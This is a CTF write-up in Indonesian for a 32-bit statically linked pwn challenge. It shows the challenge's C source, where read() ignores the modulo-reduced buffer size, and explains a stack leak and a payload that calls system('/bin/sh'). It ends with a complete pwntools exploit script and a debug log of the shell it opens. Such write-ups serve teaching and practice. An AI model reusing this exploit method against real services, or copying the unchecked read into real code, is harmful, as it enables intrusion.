Write up by Billie
Challenge Author: msfir

Challenge ini cukup sederhana. Intinya hanya call system("/bin/sh") dalam sistem 32 bit. Tidak butuh return to libc juga karena semuanya statically linked.

```
        case 2: {
            int size;
            printf("Size: ");
            scanf("%d%*c", &size);
            char buf[size % MAX_SIZE];
            printf("Text: ");
            read(0, buf, size);
            write(1, buf, size);
        }
```

Dalam source code yang diberikan terdapat vulnerability di mana buf hanya memiliki size hasil modulo MAX_SIZE yaitu 300. Sedangkan read() tidak membatasi size dengan modulo juga. Jadi apabila kita memasukkan size 301 maka kita bisa menulis 300 karakter dan buf hanya memiliki size 1. Menggunakan ini juga kita dapat leak stack karena write juga menuliskan karakter ekstra setelah buf. Dengan ini kita mendapatkan leak bermacam-macam dari stack.

Setelah mengetahui offset dari masing-masing komponen yang dibutuhkan yaitu address dari tempat kita menulis payload pada stack (lebih tepatnya di mana kita menulis address system), address dari system(), dan address dari string "/bin/sh" maka kita dapat membuat payload seperti berikut:

Payload = <padding> + <Address penulisan pointer ke system() pada stack+4> + <pointer ke system()> + <exit address (aku isi main)> + <address "/bin/sh">

Note that payload berbentuk seperti ini karena *calling convention* pada 32 bit.

Di sini address penulisan pointer system() harus ditambahkan 4 karena *binary* ini otomatis mengurangi 4 karena kutipan assembly pada di bawah ini

```
0x000015e9 <+374>:    lea    esp,[ecx-0x4]
0x000015ec <+377>:    ret
```

Jadi harus ditambah 4 untuk kembali ke address yang beneran kita incar.

Dengan payload yang kita buat kita berhasil masuk ke shell.

```
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x7 bytes:
    b'billie\n'
```

Berikut source code full dari challenge ini

```c
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_SIZE 300

void init()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

int main()
{
    init();
    bool end = false;
    while (!end)
    {
        int choice;
        printf("1. Take a fortune\n"
               "2. Share a story\n"
               "3. Exit\n"
               "> ");
        scanf("%d%*c", &choice);
        switch (choice)
        {
        case 1:
            system("fortune");
            break;
        case 2: {
```

```
            int size;
            printf("Size: ");
            scanf("%d%*c", &size);
            char buf[size % MAX_SIZE];
            printf("Text: ");
            read(0, buf, size);
            write(1, buf, size);
        }
        break;
        case 3: {
            end = true;
        }
        break;
        default:
            printf("Invalid choice\n");
        }
    }
}
```

Dan berikut exploit yang digunakan

```
from pwn import *
context.log_level = "debug"
p = process("./fort")
# pause(2)
# connect with  gdb -q -p $(pidof ./chall)
def share_story(size, contents):
    p.sendline(b"2")
    p.sendlineafter(b"Size: ", size)
    p.sendlineafter(b"Text: ", contents)
def exit():
    p.sendline(b"3")

share_story(b"301", b"")
leak = p.recvuntil("> ")
stack_offset = leak[4:]
stack_offset = stack_offset[:-338]
stack_offset = u32(stack_offset.ljust(4, b'\x00'))
stack_offset = stack_offset + 0x24
leak = leak[64:]
```

```
leak = leak[:-278]
leak = u32(leak.ljust(4, b'\x00'))
offset = leak - 0x20FF4
padding = b'a'*60
system = 0x00001970+offset+0x10000 #idk why i need 0x10000 cuz the offset
is correct to binsh but not this but whatever
main = 0x00001473+offset+0x10000
binsh = 0x0001e066+offset


payload = padding+p32(stack_offset+4)+(p32(system))+p32(main)+p32(binsh)
#stack_offset + 4 cuz the binary subtracts it by 4
share_story(b"301", payload)
exit()
# print("system: ",hex(system))
# print("binsh: ",hex(binsh))
# print("stack: ",hex(stack_offset))

p.interactive()
```